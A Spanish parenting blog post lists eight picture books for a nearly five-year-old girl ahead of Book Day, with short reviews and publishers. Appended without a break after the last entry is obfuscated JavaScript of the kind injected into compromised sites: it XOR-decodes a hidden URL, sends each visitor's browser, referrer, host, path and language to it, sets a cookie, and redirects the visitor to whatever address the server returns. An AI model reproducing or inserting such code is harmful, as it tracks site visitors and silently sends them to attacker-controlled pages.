Se acerca el 23 de abril, día del libro, y ando en busca y captura de algún título que atraiga la atención de una niña de casi cinco años. Y como quizás algunas de las personas que os encontráis leyendo este post estáis en mi misma situación, me he lanzado a hacer una recopilación con los libros que últimamente no pueden faltar en la mesilla de noche de mi hija. ¡Empezamos! Ah, y se admiten sugerencias.

1. Pinocho, un clásico
En ocasiones nos volvemos locos intentando dar con el libro perfecto y muchas veces lo más sencillo, como los clásicos de toda la vida, son la mejor opción. La novedad en este caso, y algo que llama la atención de cualquier niño, es que incluye música, sonidos (aviso, tampoco hace falta obsesionarse con esto porque en nuestro caso se acabaron las pilas y no las hemos cambiado, ¡glups!) y pop-ups. Editorial: MacMillan.

2. ¡Este álbum se ha comido a mi perro!: muy interactivo
Una historia muy básica con ilustraciones grandes y texto de apenas una línea por hoja, pero que engancha desde el primer momento porque todo es muy real; es como si estuvieras viendo fotograma a fotograma una película y, para saber el final, tienes que pasar rápidamente todas las páginas. Editorial: Bruño.

3. Dónde están los montruos y Dónde viven las hadas: Para las noches de verano,  otoño, primavera o invierno
Elementos necesarios antes de enfrentaros a esta lectura: tener una lámpara de mesa a mano, ponerse el pijama y estar preparado para que los niños te pidan que se los leas una y otra vez porque es tan diferente a lo que están acostumbrados… ¡Uno de los que más triunfa cuando nos vamos a dormir fuera con más padres y niños! Editorial: Anaya.

4. Historias de Ratones: Siete cuentos en uno
Emotivo, lleno de valores, familiar… Cuenta la historia de un ratón que tiene siete hijos y les obsequia a cada uno con un cuento antes de dormirse. Los protagonistas, como no podía ser de otra manera, también son ratones. ¿Nuestro favorito? ¡Todos! Están tannn bien que es difícil elegir. Editorial Kalandraka.

5. Esta es Lulú: muy recomendado para los que se inician en la lectura
El personaje principal de esta historia ya lo anuncia en la portada: “Con solapas”, y la editorial (SM) añade: “Un libro interactivo divertidísimo”. Y doy fe de ello. A partir de los dos años es perfecto para introducirles el amor por la lectura porque los dibujos llaman mucho la atención, las solapas les da un toque de diversión a este momento de tener un libro entre las manos y el argumento es tan familiar que verán a Lulú como una amiga más de su guardería/cole. Editorial: SM.

6. Y no llegues tarde, ¡para aprender las horas!
Un ratón se va a un cumpleaños, pero en su camino se va entreteniendo en cada uno de los lugares por los que pasa y esto nos sirve de excusa para ir aprendiendo las horas. Quizás lo mejor es que los peques podrán ellos mismos poner el «cuento en hora» con la agujas movibles que incorpora. Editorial: MacMillan.

7. Caperucita roja y Los tres cerditos, formato teatro
Tenemos este cuento desde que Elena tiene dos años, pero no ha sido hasta que cumplió lo tres y, quizás algo más, que empezamos a sacarle partido. Es muy entretenido y perfecto cuando vienen amiguitos a casa. En el interior encontrarás distintas láminas para que montes los tres escenarios más importantes de la trama. Además, como si de un separador de libros se tratase, tienes a los personajes de cada cuento que irán entrando y saliendo al ritmo que tú vayas relatando la historia. Una manera muy original de irse familiarizando con el teatro. Editorial: MacMillan.

8. El sombrero de la reina,  ¿aprendemos un poco de inglés?
Este es un libro de esos que digo yo 2×1, porque la misma historia la puedes contar en castellano o inglés (para los padres más osados y que no les dé vergüenza hablar en inglés con sus hijos).  Al igual que, Este álbum se ha comido a mi perro, ‘obliga’ a los niños a que estén con atención plena en la historia y cada página que pasas es una aventura nueva, y eso que el argumento central gira entorno al gorro de una reina que se lo lleva el viento, pero quizás ahí está la magia de esta historia u otra cualquiera, en lo básica que es. Editorial: Bruño.var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}